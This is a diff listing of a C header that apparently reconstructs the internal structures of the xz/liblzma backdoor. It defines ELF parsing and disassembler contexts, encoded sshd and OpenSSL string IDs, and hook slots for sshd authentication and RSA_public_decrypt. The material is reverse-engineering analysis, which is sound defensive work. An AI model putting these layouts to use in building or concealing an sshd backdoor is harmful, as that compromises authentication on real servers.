322  DF1_ASIZE = 8,
+
323  //1 vex instruction
+
324  DF1_VEX = 0x10,
+
325  //1 has rex
+
326  DF1_REX = 0x20,
+
327  //1 has modrm
+
328  DF1_MODRM = 0x40,
+
329  //1 has sib
+
330  DF1_SIB = 0x80
+
331 } InstructionFlags;
+
332 
+
333 typedef enum {
+
334  // memory with displacement
+
335  DF2_MEM_DISP = 0x1,
+
336  //2 8-bit displacement
+
337  DF2_MEM_DISP8 = 0x2,
+
338  //2 memory seg+offs (0xa0-0xa3)
+
339  DF2_MEM_SEG_OFFS = 0x4,
+
340 
+
341  // mask to check for memory flags
+
342  DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
+
343 
+
344  //2 has immediate
+
345  DF2_IMM = 0x8,
+
346  //2 64-bit immediate (movabs)
+
347  DF2_IMM64 = 0x10
+
348 } InstructionFlags2;
+
349 
+
350 typedef enum {
+
351  // ELF has JMPREL relocs
+
352  X_ELF_PLTREL = 0x1,
+
353  // ELF has RELA relocs
+
354  X_ELF_RELA = 0x2,
+
355  // ELF has RELR relocs
+
356  X_ELF_RELR = 0x4,
+
357  // ELF has DT_VERDEF
+
358  X_ELF_VERDEF = 0x8,
+
359  // ELF has DT_VERSYM
+
360  X_ELF_VERSYM = 0x10,
+
361  // ELF has DF_1_NOW
+
362  X_ELF_NOW = 0x20
+
363 } ElfFlags;
+
364 
+
365 typedef enum {
+
366  // register-indirect addressing or no displacement
+
367  MRM_I_REG, // 00
+
368  // indirect with one byte displacement
+
369  MRM_I_DISP1, // 01
+
370  // indirect with four byte displacement
+
371  MRM_I_DISP4, // 10
+
372  // direct-register addressing
+
373  MRM_D_REG // 11
+
374 } ModRm_Mod;
+
375 
+
376 typedef enum {
+
377  // find function beginning by looking for endbr64
+
378  FIND_ENDBR64,
+
379  // find function beginning by looking for padding,
+
380  // then getting the instruction after it
+
381  FIND_NOP
+
382 } FuncFindType;
+
383 
+
384 typedef enum {
+
389  X_ELF_MAIN = 0,
+
390  X_ELF_DYNAMIC_LINKER = 1,
+
391  X_ELF_LIBC = 2,
+
392  X_ELF_LIBCRYPTO = 3
+
393 } ElfId;
+
394 
+
395 typedef enum {
+
396  XREF_xcalloc_zero_size = 0,
+
397  XREF_Could_not_chdir_to_home_directory_s_s = 1,
+
398  XREF_list_hostkey_types = 2,
+
399  XREF_demote_sensitive_data = 3,
+
400  XREF_mm_terminate = 4,
+
401  XREF_mm_pty_allocate = 5,
+
402  XREF_mm_do_pam_account = 6,
+
403  XREF_mm_session_pty_cleanup2 = 7,
+
404  XREF_mm_getpwnamallow = 8,
+
405  XREF_mm_sshpam_init_ctx = 9,
+
406  XREF_mm_sshpam_query = 10,
+
407  XREF_mm_sshpam_respond = 11,
+
408  XREF_mm_sshpam_free_ctx = 12,
+
409  XREF_mm_choose_dh = 13,
+
410  XREF_sshpam_respond = 14,
+
411  XREF_sshpam_auth_passwd = 15,
+
412  XREF_sshpam_query = 16,
+
413  XREF_start_pam = 17,
+
414  XREF_mm_request_send = 18,
+
415  XREF_mm_log_handler = 19,
+
416  XREF_Could_not_get_agent_socket = 20,
+
417  XREF_auth_root_allowed = 21,
+
418  XREF_mm_answer_authpassword = 22,
+
419  XREF_mm_answer_keyallowed = 23,
+
420  XREF_mm_answer_keyverify = 24,
+
421  XREF_48s_48s_d_pid_ld_ = 25,
+
422  XREF_Unrecognized_internal_syslog_level_code_d = 26
+
423 } StringXrefId;
+
424 
+
425 typedef enum {
+
426  STR_from = 0x810,
+
427  STR_ssh2 = 0x678,
+
428  STR_48s_48s_d_pid_ld_ = 0xd8,
+
429  STR_s = 0x708,
+
430  STR_usr_sbin_sshd = 0x108,
+
431  STR_Accepted_password_for = 0x870,
+
432  STR_Accepted_publickey_for = 0x1a0,
+
433  STR_BN_bin2bn = 0xc40,
+
434  STR_BN_bn2bin = 0x6d0,
+
435  STR_BN_dup = 0x958,
+
436  STR_BN_free = 0x418,
+
437  STR_BN_num_bits = 0x4e0,
+
438  STR_Connection_closed_by = 0x790,
+
439  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
+
440  STR_Could_not_get_agent_socket = 0xb0,
+
441  STR_DISPLAY = 0x960,
+
442  STR_DSA_get0_pqg = 0x9d0,
+
443  STR_DSA_get0_pub_key = 0x468,
+
444  STR_EC_KEY_get0_group = 0x7e8,
+
445  STR_EC_KEY_get0_public_key = 0x268,
+
446  STR_EC_POINT_point2oct = 0x6e0,
+
447  STR_EVP_CIPHER_CTX_free = 0xb28,
+
448  STR_EVP_CIPHER_CTX_new = 0x838,
+
449  STR_EVP_DecryptFinal_ex = 0x2a8,
+
450  STR_EVP_DecryptInit_ex = 0xc08,
+
451  STR_EVP_DecryptUpdate = 0x3f0,
+
452  STR_EVP_Digest = 0xf8,
+
453  STR_EVP_DigestVerify = 0x408,
+
454  STR_EVP_DigestVerifyInit = 0x118,
+
455  STR_EVP_MD_CTX_free = 0xd10,
+
456  STR_EVP_MD_CTX_new = 0xaf8,
+
457  STR_EVP_PKEY_free = 0x6f8,
+
458  STR_EVP_PKEY_new_raw_public_key = 0x758,
+
459  STR_EVP_PKEY_set1_RSA = 0x510,
+
460  STR_EVP_chacha20 = 0xc28,
+
461  STR_EVP_sha256 = 0xc60,
+
462  STR_EVP_sm = 0x188,
+
463  STR_GLIBC_2_2_5 = 0x8c0,
+
464  STR_GLRO_dl_naudit_naudit = 0x6a8,
+
465  STR_KRB5CCNAME = 0x1e0,
+
466  STR_LD_AUDIT = 0xcf0,
+
467  STR_LD_BIND_NOT = 0xbc0,
+
468  STR_LD_DEBUG = 0xa90,
+
469  STR_LD_PROFILE = 0xb98,
+
470  STR_LD_USE_LOAD_BIAS = 0x3e0,
+
471  STR_LINES = 0xa88,
+
472  STR_RSA_free = 0xac0,
+
473  STR_RSA_get0_key = 0x798,
+
474  STR_RSA_new = 0x918,
+
475  STR_RSA_public_decrypt = 0x1d0,
+
476  STR_RSA_set0_key = 0x540,
+
477  STR_RSA_sign = 0x8f8,
+
478  STR_SSH_2_0 = 0x990,
+
479  STR_TERM = 0x4a8,
+
480  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
+
481  STR_WAYLAND_DISPLAY = 0x158,
+
482  STR_errno_location = 0x878,
+
483  STR_libc_stack_end = 0x2b0,
+
484  STR_libc_start_main = 0x228,
+
485  STR_dl_audit_preinit = 0xa60,
+
486  STR_dl_audit_symbind_alt = 0x9c8,
+
487  STR_exit = 0x8a8,
+
488  STR_r_debug = 0x5b0,
+
489  STR_rtld_global = 0x5b8,
+
490  STR_rtld_global_ro = 0xa98,
+
491  STR_auth_root_allowed = 0xb8,
+
492  STR_authenticating = 0x1d8,
+
493  STR_demote_sensitive_data = 0x28,
+
494  STR_getuid = 0x348,
+
495  STR_ld_linux_x86_64_so = 0xa48,
+
496  STR_libc_so = 0x7d0,
+
497  STR_libcrypto_so = 0x7c0,
+
498  STR_liblzma_so = 0x590,
+
499  STR_libsystemd_so = 0x938,
+
500  STR_list_hostkey_types = 0x20,
+
501  STR_malloc_usable_size = 0x440,
+
502  STR_mm_answer_authpassword = 0xc0,
+
503  STR_mm_answer_keyallowed = 0xc8,
+
504  STR_mm_answer_keyverify = 0xd0,
+
505  STR_mm_answer_pam_start = 0x948,
+
506  STR_mm_choose_dh = 0x78,
+
507  STR_mm_do_pam_account = 0x40,
+
508  STR_mm_getpwnamallow = 0x50,
+
509  STR_mm_log_handler = 0xa8,
+
510  STR_mm_pty_allocate = 0x38,
+
511  STR_mm_request_send = 0xa0,
+
512  STR_mm_session_pty_cleanup2 = 0x48,
+
513  STR_mm_sshpam_free_ctx = 0x70,
+
514  STR_mm_sshpam_init_ctx = 0x58,
+
515  STR_mm_sshpam_query = 0x60,
+
516  STR_mm_sshpam_respond = 0x68,
+
517  STR_mm_terminate = 0x30,
+
518  STR_parse_PAM = 0xc58,
+
519  STR_password = 0x400,
+
520  STR_preauth = 0x4f0,
+
521  STR_pselect = 0x690,
+
522  STR_publickey = 0x7b8,
+
523  STR_read = 0x308,
+
524  STR_rsa_sha2_256 = 0x710,
+
525  STR_setlogmask = 0x428,
+
526  STR_setresgid = 0x5f0,
+
527  STR_setresuid = 0xab8,
+
528  STR_shutdown = 0x760,
+
529  STR_ssh_2_0 = 0xd08,
+
530  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
+
531  STR_sshpam_auth_passwd = 0x88,
+
532  STR_sshpam_query = 0x90,
+
533  STR_sshpam_respond = 0x80,
+
534  STR_start_pam = 0x98,
+
535  STR_system = 0x9f8,
+
536  STR_unknown = 0x198,
+
537  STR_user = 0xb10,
+
538  STR_write = 0x380,
+
539  STR_xcalloc_zero_size = 0x10,
+
540  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
+
541  STR_ELF = 0x300,
+
542 } EncodedStringId;
+
543 
+
544 #ifndef XZRE_SLIM
+
545 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
+
546 #else
+
547 #define assert_offset(t, f, o)
+
548 #endif
+
549 
+
550 #define CONCAT(x, y) x ## y
+
551 #define EXPAND(x, y) CONCAT(x, y)
+
552 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
553 
+
554 struct sshbuf;
+
555 struct kex;
+
556 
+
557 /* permit_root_login */
+
558 #define PERMIT_NOT_SET -1
+
559 #define PERMIT_NO 0
+
560 #define PERMIT_FORCED_ONLY 1
+
561 #define PERMIT_NO_PASSWD 2
+
562 #define PERMIT_YES 3
+
563 
+
567 struct monitor {
+
568  int m_recvfd;
+
569  int m_sendfd;
+
570  int m_log_recvfd;
+
571  int m_log_sendfd;
+
572  struct kex **m_pkex;
+
573  pid_t m_pid;
+
574 };
+
575 
+
579 struct sensitive_data {
+
580  struct sshkey **host_keys; /* all private host keys */
+
581  struct sshkey **host_pubkeys; /* all public host keys */
+
582  struct sshkey **host_certificates; /* all public host certificates */
+
583  int have_ssh2_key;
+
584 };
+
585 
+
590 struct sshkey {
+
591  int type;
+
592  int flags;
+
593  /* KEY_RSA */
+
594  RSA *rsa;
+
595  /* KEY_DSA */
+
596  DSA *dsa;
+
597  /* KEY_ECDSA and KEY_ECDSA_SK */
+
598  int ecdsa_nid; /* NID of curve */
+
599  EC_KEY *ecdsa;
+
600  /* KEY_ED25519 and KEY_ED25519_SK */
+
601  u8 *ed25519_sk;
+
602  u8 *ed25519_pk;
+
603  /* KEY_XMSS */
+
604  char *xmss_name;
+
605  char *xmss_filename; /* for state file updates */
+
606  void *xmss_state; /* depends on xmss_name, opaque */
+
607  u8 *xmss_sk;
+
608  u8 *xmss_pk;
+
609  /* KEY_ECDSA_SK and KEY_ED25519_SK */
+
610  char sk_application;
+
611  u8 sk_flags;
+
612  struct sshbuf *sk_key_handle;
+
613  struct sshbuf *sk_reserved;
+
614  /* Certificates */
+
615  struct sshkey_cert *cert;
+
616  /* Private key shielding */
+
617  u8 *shielded_private;
+
618  size_t shielded_len;
+
619  u8 *shield_prekey;
+
620  size_t shield_prekey_len;
+
621 };
+
622 
+
623 typedef struct __attribute__((packed)) got_ctx {
+
627  void *got_ptr;
+
634  void *return_address;
+
638  void *cpuid_fn;
+
643  ptrdiff_t got_offset;
+
644 } got_ctx_t;
+
645 
+
646 assert_offset(got_ctx_t, got_ptr, 0);
+
647 assert_offset(got_ctx_t, return_address, 0x8);
+
648 assert_offset(got_ctx_t, cpuid_fn, 0x10);
+
649 assert_offset(got_ctx_t, got_offset, 0x18);
+
650 static_assert(sizeof(got_ctx_t) == 0x20);
+
651 
+
652 typedef struct __attribute__((packed)) elf_entry_ctx {
+
657  void *symbol_ptr;
+
658  got_ctx_t got_ctx;
+
662  u64 *frame_address;
+
663 } elf_entry_ctx_t;
+
664 
+
665 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
+
666 assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
+
667 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
+
668 
+
669 typedef struct __attribute__((packed)) dasm_ctx {
+
670  u8* instruction;
+
671  u64 instruction_size;
+
672  union {
+
673  struct __attribute__((packed)) {
+
677  u8 flags;
+
681  u8 flags2;
+
682  PADDING(2);
+
683  u8 lock_rep_byte;
+
684  u8 seg_byte;
+
685  u8 osize_byte;
+
686  u8 asize_byte;
+
687  u8 vex_byte;
+
688  u8 vex_byte2;
+
689  u8 vex_byte3;
+
690  u8 rex_byte;
+
691  union {
+
692  struct __attribute__((packed)) {
+
693  u8 modrm;
+
694  u8 modrm_mod;
+
695  u8 modrm_reg;
+
696  u8 modrm_rm;
+
697  };
+
698  u32 modrm_word;
+
699  };
+
700  };
+
701  u16 flags_u16;
+
702  };
+
703  u8 imm64_reg; // low 3 bits only
+
704  struct __attribute__((packed)) {
+
705  union {
+
706  struct __attribute__((packed)) {
+
707  u8 sib;
+
708  u8 sib_scale;
+
709  u8 sib_index;
+
710  u8 sib_base;
+
711  };
+
712  u32 sib_word;
+
713  };
+
714  };
+
715  PADDING(3);
+
716  u32 opcode;
+
717  PADDING(4);
+
718  u64 mem_disp;
+
719  // e.g. in CALL
+
720  u64 operand;
+
721  u64 operand_zeroextended;
+
722  u64 operand_size;
+
723  u8 insn_offset;
+
724  PADDING(7);
+
725 } dasm_ctx_t;
+
726 
+
727 assert_offset(dasm_ctx_t, instruction, 0);
+
728 assert_offset(dasm_ctx_t, instruction_size, 8);
+
729 assert_offset(dasm_ctx_t, flags, 0x10);
+
730 assert_offset(dasm_ctx_t, flags2, 0x11);
+
731 assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
+
732 assert_offset(dasm_ctx_t, seg_byte, 0x15);
+
733 assert_offset(dasm_ctx_t, osize_byte, 0x16);
+
734 assert_offset(dasm_ctx_t, asize_byte, 0x17);
+
735 assert_offset(dasm_ctx_t, vex_byte, 0x18);
+
736 assert_offset(dasm_ctx_t, vex_byte2, 0x19);
+
737 assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
+
738 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
+
739 assert_offset(dasm_ctx_t, modrm, 0x1C);
+
740 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
+
741 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
+
742 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
+
743 assert_offset(dasm_ctx_t, imm64_reg, 0x20);
+
744 assert_offset(dasm_ctx_t, sib, 0x21);
+
745 assert_offset(dasm_ctx_t, sib_scale, 0x22);
+
746 assert_offset(dasm_ctx_t, sib_index, 0x23);
+
747 assert_offset(dasm_ctx_t, sib_base, 0x24);
+
748 assert_offset(dasm_ctx_t, opcode, 0x28);
+
749 assert_offset(dasm_ctx_t, mem_disp, 0x30);
+
750 assert_offset(dasm_ctx_t, operand, 0x38);
+
751 assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
+
752 assert_offset(dasm_ctx_t, operand_size, 0x48);
+
753 assert_offset(dasm_ctx_t, insn_offset, 0x50);
+
754 static_assert(sizeof(dasm_ctx_t) == 0x58);
+
755 
+
756 typedef struct __attribute__((packed)) elf_info {
+
760  Elf64_Ehdr *elfbase;
+
764  u64 first_vaddr;
+
768  Elf64_Phdr *phdrs;
+
772  u64 e_phnum;
+
776  Elf64_Dyn *dyn;
+
780  u64 dyn_num_entries;
+
784  char *strtab;
+
788  Elf64_Sym *symtab;
+
792  Elf64_Rela *plt_relocs;
+
796  u32 plt_relocs_num;
+
802  BOOL gnurelro_found;
+
806  u64 gnurelro_vaddr;
+
810  u64 gnurelro_memsize;
+
814  Elf64_Verdef *verdef;
+
818  u64 verdef_num;
+
819  Elf64_Versym *versym;
+
820  Elf64_Rela *rela_relocs;
+
821  u32 rela_relocs_num;
+
822  u32 _unused0;
+
823  Elf64_Relr *relr_relocs;
+
824  u32 relr_relocs_num;
+
825  PADDING(4);
+
830  u64 code_segment_start;
+
835  u64 code_segment_size;
+
836 
+
837  u64 rodata_segment_start;
+
838  u64 rodata_segment_size;
+
839  u64 data_segment_start;
+
840  u64 data_segment_size;
+
841  u64 data_segment_alignment;
+
842 
+
843  u8 flags;
+
844  PADDING(7);
+
848  u32 gnu_hash_nbuckets;
+
852  u32 gnu_hash_last_bloom;
+
853  u32 gnu_hash_bloom_shift;
+
854  PADDING(4);
+
855  u64 *gnu_hash_bloom;
+
856  u32 *gnu_hash_buckets;
+
857  u32 *gnu_hash_chain;
+
858 } elf_info_t;
+
859 
+
860 assert_offset(elf_info_t, elfbase, 0x0);
+
861 assert_offset(elf_info_t, first_vaddr, 0x8);
+
862 assert_offset(elf_info_t, phdrs, 0x10);
+
863 assert_offset(elf_info_t, e_phnum, 0x18);
+
864 assert_offset(elf_info_t, dyn, 0x20);
+
865 assert_offset(elf_info_t, dyn_num_entries, 0x28);
+
866 assert_offset(elf_info_t, strtab, 0x30);
+
867 assert_offset(elf_info_t, symtab, 0x38);
+
868 assert_offset(elf_info_t, plt_relocs, 0x40);
+
869 assert_offset(elf_info_t, plt_relocs_num, 0x48);
+
870 assert_offset(elf_info_t, gnurelro_found, 0x4C);
+
871 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
+
872 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
+
873 assert_offset(elf_info_t, verdef, 0x60);
+
874 assert_offset(elf_info_t, verdef_num, 0x68);
+
875 assert_offset(elf_info_t, versym, 0x70);
+
876 assert_offset(elf_info_t, rela_relocs, 0x78);
+
877 assert_offset(elf_info_t, rela_relocs_num, 0x80);
+
878 assert_offset(elf_info_t, relr_relocs, 0x88);
+
879 assert_offset(elf_info_t, relr_relocs_num, 0x90);
+
880 assert_offset(elf_info_t, code_segment_start, 0x98);
+
881 assert_offset(elf_info_t, code_segment_size, 0xA0);
+
882 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
+
883 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
+
884 assert_offset(elf_info_t, data_segment_start, 0xB8);
+
885 assert_offset(elf_info_t, data_segment_size, 0xC0);
+
886 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
+
887 assert_offset(elf_info_t, flags, 0xD0);
+
888 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
+
889 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
+
890 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
+
891 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
+
892 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
+
893 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
+
894 static_assert(sizeof(elf_info_t) == 0x100);
+
895 
+
896 typedef struct __attribute__((packed)) libc_imports {
+
897  u32 resolved_imports_count;
+
898  PADDING(4);
+
899  size_t (*malloc_usable_size)(void *ptr);
+
900  uid_t (*getuid)(void);
+
901  void (*exit)(int status);
+
902  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
+
903  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
+
904  int (*system)(const char *command);
+
905  ssize_t (*write)(int fd, const void *buf, size_t count);
+
906  int (*pselect)(
+
907  int nfds, fd_set *readfds, fd_set *writefds,
+
908  fd_set *exceptfds, const struct timespec *timeout,
+
909  const sigset_t *sigmask);
+
910  ssize_t (*read)(int fd, void *buf, size_t count);
+
911  int *(*__errno_location)(void);
+
912  int (*setlogmask)(int mask);
+
913  int (*shutdown)(int sockfd, int how);
+
914  void *__libc_stack_end;
+
915 } libc_imports_t;
+
916 
+
917 assert_offset(libc_imports_t, resolved_imports_count, 0);
+
918 assert_offset(libc_imports_t, malloc_usable_size, 8);
+
919 assert_offset(libc_imports_t, getuid, 0x10);
+
920 assert_offset(libc_imports_t, exit, 0x18);
+
921 assert_offset(libc_imports_t, setresgid, 0x20);
+
922 assert_offset(libc_imports_t, setresuid, 0x28);
+
923 assert_offset(libc_imports_t, system, 0x30);
+
924 assert_offset(libc_imports_t, write, 0x38);
+
925 assert_offset(libc_imports_t, pselect, 0x40);
+
926 assert_offset(libc_imports_t, read, 0x48);
+
927 assert_offset(libc_imports_t, __errno_location, 0x50);
+
928 assert_offset(libc_imports_t, setlogmask, 0x58);
+
929 assert_offset(libc_imports_t, shutdown, 0x60);
+
930 assert_offset(libc_imports_t, __libc_stack_end, 0x68);
+
931 static_assert(sizeof(libc_imports_t) == 0x70);
+
932 
+
933 typedef int (*pfn_RSA_public_decrypt_t)(
+
934  int flen, unsigned char *from, unsigned char *to,
+
935  RSA *rsa, int padding);
+
936 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
+
937 typedef void (*pfn_RSA_get0_key_t)(
+
938  const RSA *r,
+
939  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
+
940 
+
941 typedef struct __attribute__((packed)) imported_funcs {
+
942  pfn_RSA_public_decrypt_t RSA_public_decrypt;
+
943  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
+
944  // ???
+
945  void (*RSA_get0_key_null)(
+
946  const RSA *r, const BIGNUM **n,
+
947  const BIGNUM **e, const BIGNUM **d);
+
952  void *RSA_public_decrypt_plt;
+
957  void *EVP_PKEY_set1_RSA_plt;
+
962  void *RSA_get0_key_plt;
+
963  void (*DSA_get0_pqg)(
+
964  const DSA *d, const BIGNUM **p,
+
965  const BIGNUM **q, const BIGNUM **g);
+
966  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
+
967  size_t (*EC_POINT_point2oct)(
+
968  const EC_GROUP *group, const EC_POINT *p,
+
969  point_conversion_form_t form, unsigned char *buf,
+
970  size_t len, BN_CTX *ctx);
+
971  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
+
972  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
+
973  EVP_MD *(*EVP_sha256)(void);
+
974  pfn_RSA_get0_key_t RSA_get0_key;
+
975  int (*BN_num_bits)(const BIGNUM *a);
+
976  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
+
977  int type, ENGINE *e,
+
978  const unsigned char *key, size_t keylen);
+
979  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
+
980  int (*EVP_DigestVerifyInit)(
+
981  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
+
982  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
+
983  int (*EVP_DigestVerify)(
+
984  EVP_MD_CTX *ctx, const unsigned char *sig,
+
985  size_t siglen, const unsigned char *tbs, size_t tbslen);
+
986  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
+
987  void (*EVP_PKEY_free)(EVP_PKEY *key);
+
988  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
+
989  int (*EVP_DecryptInit_ex)(
+
990  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
+
991  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
+
992  int (*EVP_DecryptUpdate)(
+
993  EVP_CIPHER_CTX *ctx, unsigned char *out,
+
994  int *outl, const unsigned char *in, int inl);
+
995  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
+
996  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
+
997  const EVP_CIPHER *(*EVP_chacha20)(void);
+
998  RSA *(*RSA_new)(void);
+
999  BIGNUM *(*BN_dup)(const BIGNUM *from);
+
1000  BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
+
1001  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
1002  int (*EVP_Digest)(
+
1003  const void *data, size_t count, unsigned char *md,
+
1004  unsigned int *size, const EVP_MD *type, ENGINE *impl);
+
1005  int (*RSA_sign)(
+
1006  int type,
+
1007  const unsigned char *m, unsigned int m_len,
+
1008  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
+
1009  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
+
1010  void (*RSA_free)(RSA *rsa);
+
1011  void (*BN_free)(BIGNUM *a);
+
1012  libc_imports_t *libc;
+
1013  u32 resolved_imports_count;
+
1014  PADDING(4);
+
1015 } imported_funcs_t;
+
1016 
+
1017 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
+
1018 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
+
1019 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
+
1020 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
+
1021 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
+
1022 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
+
1023 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
+
1024 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
+
1025 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
+
1026 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
+
1027 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
+
1028 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
+
1029 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
+
1030 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
+
1031 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
+
1032 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
+
1033 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
+
1034 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
+
1035 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
+
1036 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
+
1037 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
+
1038 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
+
1039 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
+
1040 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
+
1041 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
+
1042 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
+
1043 assert_offset(imported_funcs_t, RSA_new, 0xD0);
+
1044 assert_offset(imported_funcs_t, BN_dup, 0xD8);
+
1045 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
+
1046 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
+
1047 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
+
1048 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
+
1049 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
+
1050 assert_offset(imported_funcs_t, RSA_free, 0x108);
+
1051 assert_offset(imported_funcs_t, BN_free, 0x110);
+
1052 assert_offset(imported_funcs_t, libc, 0x118);
+
1053 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
+
1054 static_assert(sizeof(imported_funcs_t) == 0x128);
+
1055 
+
1056 struct ssh;
+
1057 struct sshbuf;
+
1058 
+
1059 typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
+
1060 
+
1061 typedef struct __attribute__((packed)) sshd_ctx {
+
1062  BOOL have_mm_answer_keyallowed;
+
1063  BOOL have_mm_answer_authpassword;
+
1064  BOOL have_mm_answer_keyverify;
+
1065  PADDING(0x4);
+
1066  sshd_monitor_func_t mm_answer_authpassword_hook;
+
1067  void *mm_answer_keyallowed;
+
1068  void *mm_answer_keyverify;
+
1069  void *mm_answer_authpassword_start;
+
1070  void *mm_answer_authpassword_end;
+
1071  sshd_monitor_func_t *mm_answer_authpassword_ptr;
+
1072  int monitor_reqtype_authpassword;
+
1073  PADDING(4);
+
1074  void *mm_answer_keyallowed_start;
+
1075  void *mm_answer_keyallowed_end;
+
1076  void *mm_answer_keyallowed_ptr;
+
1077  u32 mm_answer_keyallowed_reqtype;
+
1078  PADDING(4);
+
1079  void *mm_answer_keyverify_start;
+
1080  void *mm_answer_keyverify_end;
+
1081  void *mm_answer_keyverify_ptr;
+
1082  PADDING(0x4);
+
1083  u16 writebuf_size;
+
1084  PADDING(0x2);
+
1085  u8 *writebuf;
1086  PADDING(0x8);
-
1087  char *STR_unknown_ptr;
-
1088  void *mm_request_send_start;
-
1089  void *mm_request_send_end;
-
1090  PADDING(sizeof(u32)); // BOOL?
+
1087  PADDING(0x8);
+
1088  char *STR_unknown_ptr;
+
1089  void *mm_request_send_start;
+
1090  void *mm_request_send_end;
1091  PADDING(sizeof(u32)); // BOOL?
-
1092  int *use_pam_ptr;
-
1093  int *permit_root_login_ptr;
-
1094  char *STR_without_password;
-
1095  char *STR_publickey;
-
1096 } sshd_ctx_t;
-
1097 
-
1098 assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
-
1099 assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
-
1100 assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
-
1101 assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
-
1102 assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
-
1103 assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
-
1104 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
-
1105 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
-
1106 assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
-
1107 assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
-
1108 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
-
